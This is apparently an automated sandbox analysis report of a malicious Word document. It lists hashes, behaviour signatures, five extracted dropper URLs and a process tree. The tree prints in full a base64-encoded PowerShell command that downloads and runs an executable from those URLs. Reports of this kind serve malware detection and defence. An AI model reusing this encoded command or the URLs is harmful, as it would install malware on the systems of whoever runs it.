Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240419-en
  • resource tags

    arch:x64arch:x86image:win7-20240419-enlocale:en-usos:windows7-x64system
  • submitted
    31-05-2024 03:48

General

  • Target

    85e50e0fe0aaa6848e29e572e5aa6392_JaffaCakes118.doc

  • Size

    228KB

  • MD5

    85e50e0fe0aaa6848e29e572e5aa6392

  • SHA1

    232eb11a7b8d01638590e21c113b37923998a726

  • SHA256

    05bd871f4a8b99d13c9d428e52517b96384146691f39b2b16bf19574265a94f4

  • SHA512

    76cadc0d817a850960100fe2db68298dbcd5c68e786b31db468bd73879deb9858eff7fb17baa62ecc4ff5305b4a5468c6e6f44370ca75ad8f999fa4f0b1d83a4

  • SSDEEP

    3072:Fj6yw1MgpQiBhGWb6esLbTh8YuyDRBFtdfGktNbHDVjwG5Rq:FHgtEWPsL/aTyT9GktNbBjwG5Rq

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://stardata.it/ghwlv/NcEmh00458/

exe.dropper

http://samelimarket.com/wp-includes/W1V/

exe.dropper

http://productbeforebuying.com/wordpress/nx5RXviWhv/

exe.dropper

http://mainanelektrik.mbakluli.com/sites/Qzsxf45344/

exe.dropper

http://stefanzrenner.com/wordpress/580I/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\85e50e0fe0aaa6848e29e572e5aa6392_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2068
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1956
    • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
      powersheLL -e JABJAEwAQwBVAFUAZgBoAGQAPQAnAFcASwBXAEYAUgBzAGQAbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAARQBgAEMAYABVAHIAaQB0AHkAcABgAFIAbwB0AE8AYwBvAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABQAFUATABHAEwAbwBiAHMAIAA9ACAAJwBNAGUAcQBoACcAOwAkAEsAVwBBAFEAWQB5AHUAcwA9ACcAVgBJAEMAUQBHAGoAbwBuACcAOwAkAEoASQBDAE0ASAB2AG0AZgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAFAAVQBMAEcATABvAGIAcwArACcALgBlAHgAZQAnADsAJABGAEQAQwBQAFUAbgBrAGQAPQAnAEMAWgBDAFcAQwBsAHAAYQAnADsAJABIAFgAQQBRAEoAbwB1AHUAPQAmACgAJwBuAGUAdwAnACsAJwAtAG8AYgAnACsAJwBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AdwBlAGIAQwBsAEkARQBOAFQAOwAkAEQATwBOAFgAQgBrAGYAdAA9ACcAaAB0AHQAcABzADoALwAvAHMAdABhAHIAZABhAHQAYQAuAGkAdAAvAGcAaAB3AGwAdgAvAE4AYwBFAG0AaAAwADAANAA1ADgALwAqAGgAdAB0AHAAOgAvAC8AcwBhAG0AZQBsAGkAbQBhAHIAawBlAHQALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFcAMQBWAC8AKgBoAHQAdABwADoALwAvAHAAcgBvAGQAdQBjAHQAYgBlAGYAbwByAGUAYgB1AHkAaQBuAGcALgBjAG8AbQAvAHcAbwByAGQAcAByAGUAcwBzAC8AbgB4ADUAUgBYAHYAaQBXAGgAdgAvACoAaAB0AHQAcAA6AC8ALwBtAGEAaQBuAGEAbgBlAGwAZQBrAHQAcgBpAGsALgBtAGIAYQBrAGwAdQBsAGkALgBjAG8AbQAvAHMAaQB0AGUAcwAvAFEAegBzAHgAZgA0ADUAMwA0ADQALwAqAGgAdAB0AHAAOgAvAC8AcwB0AGUAZgBhAG4AegByAGUAbgBuAGUAcgAuAGMAbwBtAC8AdwBvAHIAZABwAHIAZQBzAHMALwA1ADgAMABJAC8AJwAuACIAcwBwAEwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABVAEQARwBJAEoAegB0AG8APQAnAEMAQQBNAFUAVwB5AGgAbAAnADsAZgBvAHIAZQBhAGMAaAAoACQAQQBEAFIAWABCAHYAegByACAAaQBuACAAJABEAE8ATgBYAEIAawBmAHQAKQB7AHQAcgB5AHsAJABIAFgAQQBRAEoAbwB1AHUALgAiAGQAbwBXAGAATgBMAE8AYQBkAGAARgBJAGAAbABlACIAKAAkAEEARABSAFgAQgB2AHoAcgAsACAAJABKAEkAQwBNAEgAdgBtAGYAKQA7ACQAUABWAEIATQBGAHYAZgByAD0AJwBBAFoARgBRAEIAZgBkAHUAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACAAJABKAEkAQwBNAEgAdgBtAGYAKQAuACIATABlAE4AYABHAFQASAAiACAALQBnAGUAIAAyADcANQA3ADgAKQAgAHsAJgAoACcASQAnACsAJwBuAHYAbwAnACsAJwBrAGUAJwArACcALQBJAHQAZQBtACcAKQAoACQASgBJAEMATQBIAHYAbQBmACkAOwAkAFcAVQBDAFYARwB6AGgAZAA9ACcASQBEAEQAUABSAGgAYQBlACcAOwBiAHIAZQBhAGsAOwAkAEkAWQBLAEMAUwBnAHQAcAA9ACcATQBaAEcAUQBCAG8AcABvACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE4AWgBVAE0AWABzAHoAaQA9ACcAWABKAE8ASgBBAGIAeQBtACcA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1300

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      360fe7f1895023269d64f1f023c6e5bf

      SHA1

      9c81ba42d546cb9d6f57c8ff343594d8170208e3

      SHA256

      fda6cfeee63ff632d24ec416ce86c8a34df31e46aa8886d4286818e072b3ea20

      SHA512

      89a5fd3e4d7d9d33a520172715223c4676e46ea9d68ed39f3cfd2a7be22ffaa23893f0ef9d61b56635fb3adaf65f861df69603923d4a4fc485d4b66a20c15466

    • memory/1300-42-0x000000001B630000-0x000000001B912000-memory.dmp

      Filesize

      2.9MB

    • memory/1300-43-0x00000000028F0000-0x00000000028F8000-memory.dmp

      Filesize

      32KB

    • memory/2068-27-0x0000000005C10000-0x0000000005D10000-memory.dmp

      Filesize

      1024KB

    • memory/2068-7-0x0000000000380000-0x0000000000480000-memory.dmp

      Filesize

      1024KB

    • memory/2068-8-0x0000000000380000-0x0000000000480000-memory.dmp

      Filesize

      1024KB

    • memory/2068-21-0x0000000005C10000-0x0000000005D10000-memory.dmp

      Filesize

      1024KB

    • memory/2068-22-0x0000000005C10000-0x0000000005D10000-memory.dmp

      Filesize

      1024KB

    • memory/2068-0-0x000000002FF21000-0x000000002FF22000-memory.dmp

      Filesize

      4KB

    • memory/2068-36-0x0000000005C10000-0x0000000005D10000-memory.dmp

      Filesize

      1024KB

    • memory/2068-6-0x0000000000380000-0x0000000000480000-memory.dmp

      Filesize

      1024KB

    • memory/2068-2-0x000000007108D000-0x0000000071098000-memory.dmp

      Filesize

      44KB

    • memory/2068-45-0x000000007108D000-0x0000000071098000-memory.dmp

      Filesize

      44KB

    • memory/2068-46-0x0000000000380000-0x0000000000480000-memory.dmp

      Filesize

      1024KB

    • memory/2068-47-0x0000000005C10000-0x0000000005D10000-memory.dmp

      Filesize

      1024KB

    • memory/2068-48-0x0000000005C10000-0x0000000005D10000-memory.dmp

      Filesize

      1024KB

    • memory/2068-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2068-64-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2068-65-0x000000007108D000-0x0000000071098000-memory.dmp

      Filesize

      44KB